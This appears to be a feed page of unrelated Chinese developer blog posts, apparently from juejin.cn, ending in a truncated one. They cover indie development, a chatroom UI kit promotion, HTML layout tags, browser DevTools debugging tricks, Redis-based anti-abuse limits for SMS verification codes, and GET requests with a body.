那对你来说,独立开发是不赚钱的。不赚钱并不是说做这事儿一分钱赚不到,满足以上画像的大部分独立开发者在持续经营半年到一年产品后,还是能稳定获得几刀~几十刀收益的。只是相比于付出的心血来说,这点收益实在是低。


以至于出海独立开发圈儿在谈收益时的语境都不是我开发了1年,现在每月能赚50刀,而是我开发了1年,现在拥有了等效于3w刀年化2%的货基(3w * 2% / 12 = 50)


这么一换算,欣慰了许多。


为什么不赚钱?因为独立开发的重点并不在于开发,叫独立产品会更准确些。


对于一款形成稳定变现闭环的产品,有3个最重要的环节:



  • 流量获取

  • 运营转化

  • 产品交付


程序员只是产品交付环节下的一个工种,与你同处产品交付环节的工种还包括产品经理、QA、项目经理、运维......


独立开发的本质就是你一个人抗下上述所有工种。


话又说回来,如果你即会编程又会流量获取,会运营转化,这样的复合人才在公司根本不用担心被裁,也没必要做独立开发。


所以,对于满足以上画像的同学,我劝你不要把独立开发当作失业后的救命稻草。


认识真实的商业世界


虽然我不建议你all in独立开发,但我建议有空闲时间的同学都去尝试下独立开发。


尝试的目的并不是赚钱,而是更具象的感知流量获取 -> 运营转化 -> 产品交付的路径。


大部分互联网产品往简单了说,都是表格 + 表单的形式,比如推特就是2个大表单(推荐流、关注流)以及描述用户之间关系的表格。


既然如此,当我们有了独立开发的想法时,首先考虑的应该是 —— 我的产品能不能用表格 + 表单 + 高效沟通实现,比如腾讯/飞书文档 + 微信群交流


像多抓鱼(做二手书业务)早期验证需求时,就是几个用户群 + 保存二手书信息的excel表组成。


如果你发现需求靠微信群交流就能解决,付款靠微信转账就能解决,那还有必要写代码开发项目,对接微信支付API么?


当聊到微信交流时,其实就触碰到另一个工种的工作范围了 —— 私域运营。在私域运营看来,通过微信(或其他社交软件)成交是再正常不过的商业模式,但很多程序员是不知道的。


这就是为什么我不建议你把独立开发当作被裁后的救命稻草,但建议有空闲时间的同学都去尝试下独立开发 —— 涉猎其他工种的工作范围,认识真实的商业世界。


当达到这一步后,我们再考虑下一步 —— 发掘你的长处。


发掘你的长处


当我们认识到一款完整的产品有3个最重要的环节:



  • 流量获取

  • 运营转化

  • 产品交付


就应该明白 —— 如果我们想显著提高独立开发的成功率,最好的方式是找到自己最擅长的环节,再和擅长其他环节的人合作。


这里很多程序员有个误区,会认为程序员擅长的肯定就是产品交付下的开发。


实际上,就我交流过的,或者亲自带出来的跑通变现闭环的程序员中,很多人有编程之外的天赋,只是他们没有意识到罢了。


举几个非常厉害的能力(或者说天赋):



  1. 向上突破的能力


有一类同学敢于把自己放到当前可能还不胜任的位置,然后通过不断学习让自己完成挑战。举几个例子:



  • 在不懂地推的时候,参与到校园外卖团队做地推,学习市场和推广的知识

  • 在只看了一本HTML书的情况下,敢直接接下学校建设国际会议网站的任务

  • 在不懂做运营的时候,有老板找他当公司运营负责人,他也接下来,并也做得很好


这类同学很容易跑出有自己特色的非标服务,再包装成产品售卖。



  1. 源源不断的心力支持


有位同学看短视频趋势不错,正好大学也玩过一段时间单反,就买了一套专业的影视设备,准备一边学做饭一边拍短视频,想做一名美食博主。


每天下班拍视频、剪辑加后期的,每个视频都需要花 10+ 个小时。熬了半年多,数据一直不行,就放弃了。


虽然他失败了,但很少有人能在没有正反馈的事上坚持半年,这种源源不断的心力支持其实是一种天赋。


靠这个天赋,只要踩到合适的赛道,成功是迟早的事儿。



  1. 链接人的能力


有些同学特别喜欢在群里唠嗑,与大佬聊天也不犯怵。这就是链接人的天赋


在如今的时代,有价值的信息通常是在小圈子中传播,再慢慢破圈到大众视野中。这类同学靠链接人的天赋,可以:



  1. 从小圈子获得有价值的信息,做信息差生意

  2. 做中间人整合资源


假设你探寻一圈后发现 —— 自己最拿得出手的就是编程能力,那你的当务之急不是发掘需求


以咱们普通程序员的产品sense,也就能想出笔记应用Todo List应用这类点子了......


你需要做的,是多认识其他圈子的人,向他们展示你的编程能力,寻找潜在的需求方


以我在运营的Symbol社区举例,这是个帮程序员发展第二曲线的社群。


之前社群有个痛点:每天社群会产生大量有价值的碎片知识,但这些知识分散在大量聊天消息中,爬楼看消息很辛苦。


基于这个痛点出发,我作为产品经理和群里两位小伙伴合作开发了识别、总结、打标签、分发有价值聊天记录的社群机器人



作为回报,这两位小伙伴将获得付费社群的收入分成。


总结


对于满足如下画像的程序员:



  • 程序员工作多年,编程水平不错

  • 收入完全来源于工资

  • 日常学习的目的是提升技术


不要把独立开发当作被裁后的救命稻草,而应该将其作为认识真实商业世界分工的途径,以及发掘自身优势的手段。


拍脑袋想没有用,只有真正在事儿上修,才能知道自己喜欢什么、擅长什么。


当认清自身优势后,与有其他优势的个体合作,一起构建有稳定收益闭环的产品。




作者:魔术师卡颂
来源:juejin.cn/post/7345756317557047306
收起阅读 »

快速从0-1完成聊天室开发——环信ChatroomUIKit功能详解

聊天室是当下泛娱乐社交应用中最经典的玩法,通过调用环信的 IM SDK 接口,可以快速创建聊天室。如果想根据自己业务需求对聊天室应用的 UI界面、弹幕消息、礼物打赏系统等进行自定义设计,最高效的方式则是使用环信的 ChatroomUIKit 。文档地址:htt...
继续阅读 »

聊天室是当下泛娱乐社交应用中最经典的玩法,通过调用环信的 IM SDK 接口,可以快速创建聊天室。如果想根据自己业务需求对聊天室应用的 UI界面、弹幕消息、礼物打赏系统等进行自定义设计,最高效的方式则是使用环信的 ChatroomUIKit 。

文档地址:https://doc.easemob.com/uikit/chatroomuikit/ios/roomuikit_overview.html


环信 ChatroomUIKit v1.0.0,提供了 UIKit 的各种组件,可根据实际业务需求快速上线聊天室功能。通过该 UIKit,聊天室中的用户可实时交互,发送普通弹幕消息,并支持打赏消息和全局广播等功能。

环信ChatroomUIKit 亮点功能

1、模块化、组件化、API驱动三层架构—开发更灵活、自由

环信 ChatroomUIKit 采用模块化、组件化和 API 驱动的三层架构,提供高完成度和高自定义能力的聊天室解决方案。

  • 模块化:聊天室的整个页面被划分为不同的模块,例如弹幕区、输入区、成员列表和礼物列表等。我们可以自由重写每个模块,而不影响其他模块的可用性。
  • 组件化:每个模块都由多个组件组成。可以灵活定制每个组件,以满足个性化需求。
  • API 驱动:环信 ChatroomUIKit 提供了一套稳定可靠的 API,可用于自定义聊天室的各种属性。

2、全平台覆盖 跨平台开发更简易

在移动应用开发领域,React Native 和 Flutter 是两个备受欢迎的跨平台 UI 框架,业内很多 IM UIKit 目前还不支持上述两个跨平台框架,而环信 ChatroomUIKit 实现了突破!


在覆盖 iOS、Android、Web 三大原生平台的同时,环信ChatroomUIKit 还支持 Flutter 和 React Native 跨平台框架,助力开发者快速实现跨平台开发。

3、UI界面、功能组件可自定义、快速上线

环信 ChatroomUIKit 采用最新的 UI 框架和开发语言,可以快速上手。同时,该 UIKit 对标国际主流的社交应用,提供开箱即用的社交组件,一方面,可以快速将其集成到自己的应用程序中,另一方面还支持对功能组件进行自定义,灵活定制符合自身需求的聊天室应用。

4、界面明暗主题快速切换

明暗主题界面是目前极为主流的 App 界面设置,环信 ChatroomUIKit 默认风格为明亮模式,支持明暗主题一键切换,我们可以简单快速地对界面中所有元素的明亮/暗黑风格进行设置,产出舒适的视觉体验。

  • 浅色主题

  • 深色主题

5、自定义弹幕消息

弹幕消息是聊天室最为核心的功能。环信 ChatroomUIKit 支持业内主流的消息样式,包括发送时间显示、用户身份标识、用户头像、昵称等元素,提供极为灵活的弹幕消息自定义能力。


还可以根据业务需要,通过开关控件控制所有元素的显示或隐藏,如,是否隐藏对话框中的用户头像和昵称等。同时,也可以对消息气泡、颜色、字体等属性进行灵活快速的调整。

6、完整的打赏模块

对于主播和直播平台而言,打赏是主要收入来源之一,是直播/社交类 App 的重要功能。环信 ChatroomUIKit 支持完整的打赏流程,包含礼物赠送和打赏消息两部分。支持自定义礼物的样式、名称和金额等属性,也能够拓展礼物类型,如普通观众和会员观众礼物。同时,还可以选择特殊的打赏消息样式,突出展示打赏行为。


7、丰富的消息管理功能 支持全局广播、消息翻译

环信 ChatroomUIKit 具备丰富的消息管理功能,例如,支持用户向 App 内所有聊天室在线观众发送消息、通知以及大额打赏等重要信息;支持聊天室内的消息撤回和消息举报功能,所有用户只能撤回自己发送的消息。


同时,为满足出海用户的业务需要,环信 ChatroomUIKit 还支持消息的翻译功能,用户可以将聊天室中的单条消息从一种语言转换成另一种语言。

除了以上功能,环信 ChatroomUIKit 还支持成员管理等更多功能,进一步了解咨询或体验Demo可参考 ChatroomUIKit文档中心

相关文档:

收起阅读 »

HTML常用布局标签:提升网页颜值!不可不知的HTML布局技巧全解析!

在HTML的世界里,一切都是由容器和内容构成的。容器,就如同一个个盒子,用来装载各种元素;而内容,则是这些盒子里的珍宝。理解了这一点,我们就迈出了探索HTML布局的第一步。在HTML中,布局标签主要用于控制页面的结构和样式。本文将介绍一些常用的布局标签及其使用...
继续阅读 »

在HTML的世界里,一切都是由容器和内容构成的。容器,就如同一个个盒子,用来装载各种元素;而内容,则是这些盒子里的珍宝。理解了这一点,我们就迈出了探索HTML布局的第一步。

在HTML中,布局标签主要用于控制页面的结构和样式。本文将介绍一些常用的布局标签及其使用方法,并通过代码示例进行演示。

一、理解布局的重要性

布局在我们前端开发中担任什么样的角色呢?想象一下,你面前有一堆散乱的积木,无序地堆放在那里。

Description

而你的任务,就是将这些积木按照图纸拼装成一个精美的模型。HTML布局标签的作用就像那张图纸,它指导浏览器如何正确、有序地显示内容和元素,确保网页的结构和外观既美观又实用。

下面我们就来看看在HTML中常用的基础布局标签有哪些,如何使用这些布局标签完成我们的开发目标。

二、常用的布局标签

1、div标签

div标签是一个块级元素,它独占一行,用于对页面进行区域划分。它可以包含其他HTML元素,如文本、图片、链接等。通过CSS样式可以设置div的布局和样式。

示例代码:

<!DOCTYPE html>
<html>
<head>
<style>
  .box {
    width: 200px;
    height: 200px;
    background-color: red;
  }
</style>
</head>
<body>

<div>这是一个div元素

</div>

</body>
</html>

运行结果:

Description

2、span标签

span标签是一个内联元素,它不独占一行,用于对文本进行区域划分。它主要用于对文本进行样式设置,如字体、颜色等。与div类似,span也可以包含其他HTML元素。
示例代码:

<!DOCTYPE html>
<html>
<head>
<style>
  .text {
    color: blue;
    font-size: 20px;
  }
</style>
</head>
<body>

<p>这是一个<span>span元素</span></p>

</body>
</html>

运行结果:

Description

3、table标签

table标签用于创建表格,它包含多个tr(行)元素,每个tr元素包含多个td(单元格)或th(表头单元格)元素。

<table> 定义一个表格,<tr> 定义表格中的行,而 <td> 则定义单元格。通过这三个标签,我们可以创建出整齐划一的数据表,让信息的展示更加直观明了。

需要注意的是:

  • <table></table>标记着表格的开始和结束。
  • <tr></tr>标记着行的开始和结束,几组表示该表格有几行。
  • <td></td>标记着单元格的开始和结束,表示这一行中有几列。

示例代码:

<!DOCTYPE html>
<html>
<head>
<style>
  table, th, td {
    border: 1px solid black;
  }
</style>
</head>
<body>
<table>
  <tr>
    <th>姓名</th>
    <th>年龄</th>
  </tr>
  <tr>
    <td>张三</td>
    <td>25</td>
  </tr>
  <tr>
    <td>李四</td>
    <td>30</td>
  </tr>
</table>
</body>
</html>

运行结果:

Description

4、form标签

<form>标签的主要作用是定义一个用于用户输入的HTML表单。这个表单可以包含各种输入元素,如文本字段、复选框、单选按钮、提交按钮等。

<form>元素可以包含以下一个或多个表单元素:<input><textarea><button><select><option><optgroup><fieldset><label><output>等。

示例代码:

<!DOCTYPE html>
<html>
<head>
<style>
  form {
    display: flex;
    flex-direction: column;
  }
</style>
</head>
<body>

<form>
  <label for="username">用户名:</label>
  <input type="text" id="username" name="username">
  <br>
  <label for="password">密码:</label>
  <input type="password" id="password" name="password">
  <br>
  <input type="submit" value="提交">
</form>

</body>
</html>

运行结果:
Description

5、列表标签

1)无序列表

  • 指没有顺序的列表项目
  • 始于<ul>标签,每个列表项始于<li>
  • type属性有三个选项:disc实心圆、circle空心圆、square小方块。 默认属性是disc实心圆。

示例代码:

<!DOCTYPE html>
<htmml>
<head>
<meta charst = "UTF-8">
<title>html--无序列表</title>
</head>
<body>
<ul>
<li>默认的无序列表</li>
<li>默认的无序列表</li>
<li>默认的无序列表</li>
</ul>
<ul>
<li type = "circle">添加circle属性</li>
<li type = "circle">添加circle属性</li>
<li type = "circle">添加circle属性</li>
</ul>
<ul>
<li type = "square">添加square属性</li>
<li type = "square">添加square属性</li>
<li type = "squaare">添加square属性</li>
</ul>
</body>
</html>

运行结果:
Description
也可以使用CSS list-style-type属性定义html无序列表样式。

想要快速入门前端开发吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

2)有序列表

  • 指按照字母或数字等顺序排列的列表项目。
  • 其结果是带有前后顺序之分的编号,如果插入和删除一个列表项,编号会自动调整。
  • 始于<ol>标签,每个列表项始于<li>

示例代码:

<ol>
<li>默认的有序列表</li>
<li>默认的有序列表</li>
<li>默认的有序列表</li>
</ol>
<ol type = "a" start = "2">
<li>第1项</li>
<li>第2项</li>
<li>第3项</li>
<li value ="20">第四项</li>
</ol>
<ol type = "Ⅰ" start = "2">
<li>第1项</li>
<li>第2项</li>
<li>第3项</li>
</ol>

运行结果:
Description
同样也可以使用CSS list-style-type属性定义html有序列表样式。

3)自定义列表

  • 自定义列表不仅仅是一列项目,而是项目及其注释的组合。
  • <dl>标签开始。每个自定义列表项以<dt>开始。每个自定义列表项的定义以<dd>开始。
  • 用于对术语或名词进行解释和描述,自定义列表的列表项前没有任何项目符号。
    基本语法:
<dl>
<dt>名词1</dt>
<dd>名词1解释1</dd>
<dd>名词1解释2</dd>

<dt>名词2</dt>
<dd>名词2解释1</dd>
<dd>名词2解释2</dd>
</dl>

<dl>即“definition list(定义列表)”,
<dt>即“definition term(定义名词)”,
<dd>即“definition description(定义描述)”。

示例代码:

<dl>
<dt>计算机</dt>
<dd>用来计算的仪器</dd>

<dt>显示器</dt>
<dd>以视觉方式显示信息的装置</dd>
</dl>

运行结果:
Description
以上就是HTML中常用的布局标签及其使用方法。在实际开发中,还可以结合CSS和JavaScript来实现更复杂的布局和交互效果。

掌握了这些HTML常用布局标签,你已经拥有了构建网页的基础工具。记住,好的布局不仅需要技术,更需要创意和对细节的关注。现在,打开你的代码编辑器,开始你的布局设计之旅吧!

收起阅读 »

关于浏览器调试的30个奇淫技巧

web
这篇文章为大家介绍一下浏览器的调试技巧,可帮助你充分利用浏览器的调试器。 console.log 这个是日常开发中最常用的了如果不知道这个就不是程序员了,这里不多描述了 console.count 计算代码执行的次数他会自动累加 // 例如我代码执行了三次 c...
继续阅读 »

这篇文章为大家介绍一下浏览器的调试技巧,可帮助你充分利用浏览器的调试器。


console.log


这个是日常开发中最常用的了如果不知道这个就不是程序员了,这里不多描述了


console.count


计算代码执行的次数他会自动累加


// 例如我代码执行了三次
console.count() // 1 2 3
console.count('执行:') // 执行:1 执行:2 执行:3

console.table


例如,每当你的应用程序在调试器中暂停时,要将 localStorage 的数据转储出来,你可以创建一个 console.table(localStorage) 观察器:


image.png


关于 console.table 的就暂时介绍到这里,下边有一篇详细介绍 console 其他用法的有兴趣的童靴可以去看看。


# 如何优雅的在控制台中使用 console.log


DOM 元素变化后执行表达式


要在 DOM 变化后执行表达式,需要设置一个 DOM 变化断点(在元素检查器中):


image.png


然后添加你的表达式,例如记录 DOM 的快照:(window.doms = window.doms || []).push(document.documentElement.outerHTML)。现在,每当 DOM 子树发生修改时,调试器将暂停执行,并且新的 DOM 快照将位于 window.doms 数组的末尾。(无法创建不暂停执行的 DOM 变化断点。)


跟踪调用堆栈


假设你有一个显示加载动画的函数和一个隐藏加载动画的函数,但是在你的代码中,你调用了 show 方法却没有对应的 hide 调用。你如何找到未配对的 show 调用的来源?在 show 方法中使用条件断点中的 console.trace,运行你的代码,找到 show 方法的最后一个堆栈跟踪,并点击调用者来查看代码:


log1.gif


改变程序行为


通过在具有副作用的表达式上使用,我们可以在浏览器中实时改变程序行为。


例如,你可以覆盖 getPerson 函数的参数 id。由于 id=1 会被评估为 true,这个条件断点会暂停调试器。为了防止这种情况发生,可以在表达式末尾添加 false:


log2.gif


性能分析


你不应该在性能分析中混入诸如条件断点评估时间之类的内容,但如果你想快速而精确地测量某个操作运行所需的时间,你可以在条件断点中使用控制台计时 API。在你想要开始计时的地方设置一个带有条件 console.time('label') 的断点,在结束点设置一个带有条件 console.timeEnd('label') 的断点。每当你要测量的操作运行时,浏览器就会在控制台记录它花费了多长时间:


log3.gif


根据参数个数进行断点


只有当当前函数被调用时带有 3 个参数时才暂停:arguments.callee.length === 3


当你有一个具有可选参数的重载函数时,这个技巧非常有用:


log4.gif


当前函数调用参数数量错误时


只有当当前函数被调用时参数数量不匹配时才暂停:(arguments.callee.length) !== arguments.length在查找函数调用站点中的错误时很有用:


log5.gif


跳过页面加载统计使用时间


直到页面加载后的 5 秒后才暂停:performance.now() > 5000


当你想设置一个断点,但只有在初始页面加载后才对暂停执行感兴趣时,这个技巧很有用。


跳过 N 秒


如果断点在接下来的 5 秒内触发,则不要暂停执行,但在之后的任何时候都要暂停:


window.baseline = window.baseline || Date.now(), (Date.now() - window.baseline) > 5000


随时可以从控制台重置计数器:window.baseline = Date.now()


使用 CSS


基于计算后的 CSS 值暂停执行,例如,仅当文档主体具有红色背景时才暂停执行:window.getComputedStyle(document.body).backgroundColor === "rgb(255,0,0)"


仅偶数次调用


仅在执行该行的每一次的偶数次调用时暂停:window.counter = (window.counter || 0) + 1, window.counter % 2 === 0


抽样断点


只在该行执行的随机样本上断点,例如,仅在执行该行的每十次中断点一次:Math.random() < 0.1


Never Pause Here


当你右键点击边栏并选择“Never Pause Here”时,Chrome 创建一个条件断点,该断点的条件为 false,永远不会满足。这样做就意味着调试器永远不会在这一行上暂停。


image.png


image.png


当你想要豁免某行不受 XHR 断点的影响,忽略正在抛出的异常等情况时,这个功能非常有用。


自动实例 ID


通过在构造函数中设置条件断点来为每个类的实例自动分配唯一 ID:(window.instances = window.instances || []).push(this)


然后通过以下方式检索唯一 ID:window.instances.indexOf(instance)(例如,在类方法中,可以使用 window.instances.indexOf(this))。


Programmatically Toggle


使用全局布尔值来控制一个或多个条件断点的开关。


image.png


然后通过编程方式切换布尔值,例如:



  • 在控制台手动切换布尔值


window.enableBreakpoints = true;


  • 从控制台上的计时器切换全局布尔值:


setTimeout(() => (window.enableBreakpoints = true), 5000);


  • 在其他断点处切换全局布尔值:


image.png


monitor() class Calls


你可以使用 Chromemonitor 命令行方法来轻松跟踪对类方法的所有调用。例如,给定一个 Dog 类:


class Dog {  
bark(count) {
/* ... */
}
}

如果我们想知道对 的所有实例进行的所有调用Dog,请将其粘贴到命令行中:


var p = Dog.prototype;  
Object.getOwnPropertyNames(p).forEach((k) => monitor(p[k]));

你将在控制台中得到输出:



function bark called with arguments: 2



如果您想暂停任何方法调用的执行(而不是仅仅记录到控制台),您可以使用debug而不是monitor


特定实例


如果不知道该类但有一个实例:


var p = instance.constructor.prototype;  
Object.getOwnPropertyNames(p).forEach((k) => monitor(p[k]));

当想编写一个对任何类的任何实例执行此操作的函数(而不仅仅是Dog)时很有用


调用和调试函数


在控制台中调用要调试的函数之前,请调用debugger. 例如给出:


function fn() {  
/* ... */
}

从控制台发现:



debugger; fn(1);



然后“Step int0 next function call”来调试fn.


当不想手动查找定义fn并添加断点或者fn动态绑定到函数并且不知道源代码在哪里时很有用。


Chrome 中,还可以选择debug(fn)在命令行上调用,调试器将fn在每次调用时暂停内部执行。


URL 更改时暂停执行


在单页应用程序修改 URL 之前暂停执行(即发生某些路由事件):


const dbg = () => {  
debugger;
};

history.pushState = dbg;
history.replaceState = dbg;
window.onhashchange = dbg;
window.onpopstate = dbg;

创建一个暂停执行而不中断导航的版本dbg是留给读者的练习。


另请注意,当代码直接调用时,这不会处理window.location.replace/assign,因为页面将在分配后立即卸载,因此无需调试。如果您仍然想查看这些重定向的来源(并调试重定向时的状态),在 Chrome 中您可以使用debug相关方法:


debug(window.location.replace);  
debug(window.location.assign);

读取属性


如果有一个对象并且想知道何时读取该对象的属性,请使用对象 getter 进行调用debugger。例如,转换{configOption: true}{get configOption() { debugger; return true; }}(在原始源代码中或使用条件断点)。


将一些配置选项传递给某些东西并且想了解它们如何使用时,这很有用。


copy()


可以使用控制台 API 将感兴趣的信息从浏览器直接复制到剪贴板,而无需进行任何字符串截断copy()。您可能想要复制一些有趣的内容:



  • 当前 DOM 的快照:copy(document.documentElement.outerHTML)

  • 有关资源的元数据(例如图像):copy(performance.getEntriesByType("resource"))

  • 一个大的 JSON blob,格式为:copy(JSON.parse(blob))

  • 本地存储的转储:copy(localStorage)


在禁用 JS 的情况下检查 DOM


DOM 检查器中按 ctrl+\ (Chrome/Windows) 可随时暂停 JS 执行。这允许检查 DOM 的快照,而不必担心 JS 改变 DOM 或事件(例如鼠标悬停)导致 DOM 从下方发生变化。


检查难以捉摸的元素


假设您想要检查仅有条件出现的 DOM 元素。检查所述元素需要将鼠标移动到它,但是当你尝试这样做时,它就会消失:


log6.gif
要检查该元素,您可以将其粘贴到控制台中setTimeout(function() { debugger; }, 5000);:这给了你 5 秒的时间来触发 UI,然后一旦 5 秒计时器到了,JS 执行就会暂停,并且没有任何东西会让你的元素消失。您可以自由地将鼠标移动到开发工具而不会丢失该元素:


log7.gif


当 JS 执行暂停时,可以检查元素、编辑其 CSS、在 JS 控制台中执行命令等。


在检查依赖于特定光标位置、焦点等的 DOM 时很有用。


记录DOM


要获取当前状态下 DOM 的副本:


copy(document.documentElement.outerHTML);

每秒记录一次 DOM 快照:


doms = [];

setInterval(() => {

const domStr = document.documentElement.outerHTML;

doms.push(domStr);

}, 1000);

或者将其转储到控制台:


setInterval(() => {

const domStr = document.documentElement.outerHTML;

console.log("snapshotting DOM: ", domStr);

}, 1000);

监控元素


(function () {  
let last = document.activeElement;
setInterval(() => {
if (document.activeElement !== last) {
last = document.activeElement;
console.log("Focus changed to: ", last);
}
}, 100);
})();

log8.gif


寻找元素


const isBold = (e) => {
let w = window.getComputedStyle(e).fontWeight;
return w === "bold" || w === "700";
};
Array.from(document.querySelectorAll("*")).filter(isBold);

或者只是当前在检查器中选择的元素的后代:


Array.from($0.querySelectorAll("*")).filter(isBold);

获取事件监听器


在 Chrome 中,可以检查当前所选元素的事件侦听器:getEventListeners($0),例如:


image.png


监听元素事件


调试所选元素的所有事件:monitorEvents($0)


调试所选元素的特定事件:monitorEvents($0, ["control", "key"])


log9.gif



点赞收藏支持、手留余香、与有荣焉,动动你发财的小手哟,感谢各位大佬能留下您的足迹。



11.png


往期热门精彩推荐



# 2024最新程序员接活儿搞钱平台盘点


解锁 JSON.stringify() 5 个鲜为人知的功能


解锁 JSON.stringify() 7 个鲜为人知的坑


如何去实现浏览器多窗口互动



面试相关热门推荐



前端万字面经——基础篇


前端万字面积——进阶篇


简述 pt、rpx、px、em、rem、%、vh、vw的区别



实战开发相关推荐



前端常用的几种加密方法


探索Web Worker在Web开发中的应用


不懂 seo 优化?一篇文章帮你了解如何去做 seo 优化


【实战篇】微信小程序开发指南和优化实践


前端性能优化实战


聊聊让人头疼的正则表达式


获取文件blob流地址实现下载功能


Vue 虚拟 DOM 搞不懂?这篇文章帮你彻底搞定虚拟 DOM



移动端相关推荐



移动端横竖屏适配与刘海适配


移动端常见问题汇总


聊一聊移动端适配



Git 相关推荐



通俗易懂的 Git 入门


git 实现自动推送



更多精彩详见:个人主页


作者:StriveToY
来源:juejin.cn/post/7345297230201716776
收起阅读 »

从发送短信验证码来研究几种常用的防刷策略

大家好,我是小趴菜,最近在做项目的时候有个发送短信验证码的需求,这个需求在大部分的项目中相信都会使用到,而发送短信验证码是需要收费的,所以我们要保证我们的接口不能被恶意刷, 1:前端控制 前端控制是指在用户点击发送验证码之后,在一分钟之内这个按钮就置灰,让用户...
继续阅读 »

大家好,我是小趴菜,最近在做项目的时候有个发送短信验证码的需求,这个需求在大部分的项目中相信都会使用到,而发送短信验证码是需要收费的,所以我们要保证我们的接口不能被恶意刷,


1:前端控制


前端控制是指在用户点击发送验证码之后,在一分钟之内这个按钮就置灰,让用户无法再次发起,这种方式有什么优点和缺点呢?


优点



  • 1: 实现简单,直接让前端进行控制


缺点



  • 1:安全性不够,别人完全可以绕过前端的控制,直接发起调用,这种方式只能作为防刷的第一道屏障


2:redis + 过期时间


在用户发送验证码之后,将用户的手机号作为redis的KEY,value可以设置为任意值,并且将该KEY的过期时间设置为1分钟,实现流程如下:



  • 1:用户客户端发起发送验证码

  • 2:后端收到请求以后,将该用户的手机号作为KEY,VALUE设置为任意值,并且是过期时间为1分钟

  • 3:当用户下次发起发送验证码请求,后端可以根据用户手机号作为KEY,从Redis中获取,如果这个KEY不存在,说明已经过去1分钟了,可以再次发送验证码

  • 4:如果这个KEY存在,说明这个用户在一分钟内这个用户已经发送过了,就提示用户一分钟后再试


那么这种方式又有什么优点和缺点呢???


优点



  • 1:实现简单

  • 2:由后端控制,安全性比前端控制高


缺点



  • 1:首先需要依赖Redis

  • 2:一分钟后这个KEY真的能被准时删除吗????


针对第2点我们深入分析下,正常来说,一个Redis的KEY,设置了1分钟过期时间,那么在1分钟后这个KEY就会被删除,所以这种redis+过期时间在正常情况下是可以满足防刷的,但是Reids真的能帮我们准时的删除这个KEY吗?


在此我们不得不了解下Redis的删除策略了,redis有三种删除策略



  • 1:定时删除:会给这个KEY设置一个定时器,在这个KEY的过期时间到了,就会由定时器来删除这个KEY,优点是可以快速释放掉内存,缺点就是会占用CPU,如果在某个点有大量的KEY到了过期时间,那么此时系统CPU就会被沾满

  • 2:惰性删除:当这个KEY过期了,但是不会自动释放掉内存,而是当下次有客户端来访问这个KEY的时候才会被删除,这样就会存在一些无用的KEY占用着内存

  • 3:定期删除:redis会每隔一段时间,随机抽取一批的KEY,然后把其中过期的KEY删除


如果reids设置的删除策略是定期删除,那么你这个KEY即使到了过期时间也不会被删除,所以你还是可以在Redis中获取到,这个时候客户端明明已经过了一分钟了,但是你还是能拿到这个KEY,所以这时候又会被限制发送验证码了,这明显不符合业务需求了


所以一般会采用惰性删除+定期删除的方式来实现,这样,即使定期删除没有删除掉这个KEY,但是在访问的时候,会通过惰性删除来删除掉这个KEY,所以这时候客户端就访问不到这个KEY,就可以实现一分钟内再次发送验证码的请求了


但是如果你的Redis是做了读写分离的,也就是写操作是写主,查询是从,那么这时候会有什么问题呢?


我们在设置Redis的过期时间有四种命令



  • 1:expire:从当前时间算起,过了设置的时间以后就过期

  • 2:pexpire:同expire,只是过期时间的单位不一样

  • 3:expireAt:设置未来的某个时间,当系统时间到了这个点之后就过期

  • 4:pexpireAt:同expireAt,只是过期时间单位不一样


如果我们使用的是expire命令来设置时间,redis主从同步是异步的,那么在这期间一定会有时间差,当主同步到从的时候,可能已经过去十几秒都有可能,那么这时候从redis收到这个KEY以后,是从当前时间开始算起,然后过去指定的时间以后才会过期,所以这时候主redis这个KEY过期了,但是从redis这个KEY可能还有十几秒以后才会过期


这时候你查的是从Redis,所以还是可以查到这个KEY的,这时候客户端其实已经过去一分钟了,但是由于你能从Redis查到这个KEY,所以客户端还是不能发送验证码


这时候我们可以使用expireAt命令来设置,只要系统到了这个时间点,这个KEY就会被删除,但是前提是要保证主从Redis系统的时间一致,如果你从库的时间比主库晚了几分钟,那么从库这个KEY存活的时间就会比主Redis存活的时间更长,那么这样也会有问题


redis + 特殊VALUE + 过期时间


这种的业务流程如下



  • 1:用户客户端发起发送验证码

  • 2:后端收到请求以后,将该用户的手机号作为KEY,VALUE设置为当前时间戳(重点)

  • 3:当用户下次发起发送验证码请求,后端可以根据用户手机号作为KEY,从Redis中获取,如果这个KEY不存在,可以再次发送验证码

  • 4:如果这个KEY存在,获取到这个KEY的VALUE,然后判断当前时间戳跟这个KEY的时间戳是否超过1分钟了,如果超过了就可以再次发送,如果没有就不能发送了


这种方式与其它几种方式的优点在哪呢?


无论你这个KEY有没有准时被删除,删除了说明可以发送,即使因为某些原因没有被删除,那么我们也可以通过设置的VALUE的值跟当前时间戳做一个比较。所以即使出现了上面 redis + 过期时间会出现的问题,那么我们也可以做好相应的判断,如果你过去一分钟还能拿到这个KEY,并且比较时间戳也已经超过一分钟了,那么我们可以重新给这个KEY设置VALUE,并且值为当前时间戳,就不会出现以上的几种问题了。


结尾


题外话,其实KEY即使时间到期了,但是我们还是能查到这个KEY,除了之前说的几个点,还有几种情况也会出现,Redis删除KEY是需要占用CPU的,如果此时你系统的CPU已经被其它进程占满了,那么这时候Redis就无法删除这个KEY了


作者:我是小趴菜
来源:juejin.cn/post/7341300805281087514
收起阅读 »

get请求参数放在body中?

web
1、背景 与后端对接口时,看到有一个get请求的接口,它的参数是放在body中的 ******get请求参数可以放在body中?? 随即问了后端,后端大哥说在postman上是可以的,还给我看了截图 可我传参怎么也调不通! 下面就来探究到底是怎么回事 2、...
继续阅读 »

1、背景


与后端对接口时,看到有一个get请求的接口,它的参数是放在body中的



******get请求参数可以放在body中??


随即问了后端,后端大哥说在postman上是可以的,还给我看了截图



可我传参怎么也调不通!


下面就来探究到底是怎么回事


2、能否发送带有body参数的get请求


项目中使用axios来进行http请求,使用get请求传参的基本姿势:


// 参数拼接在url上
axios.get(url, {
params: {}
})

如果想要将参数放在body中,应该怎么做呢?


查看axios的文档并没有看到对应说明,去github上翻看下axios源码看看


lib/core/Axios.js文件中



可以看到像deletegetheadoptions方法,它们只接收两个参数,不过在config中有一个data



熟悉的post请求,它接收的第二个参数data就是放在body的,然后一起作为给this.request作为参数


所以看样子get请求应该可以在第二个参数添加data属性,它会等同于post请求的data参数


顺着源码,再看看lib/adapters/xhr.js,上面的this.request最终会调用这个文件封装的XMLHttpRequest


export default isXHRAdapterSupported && function (config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
let requestData = config.data

// 将config.params拼接在url上
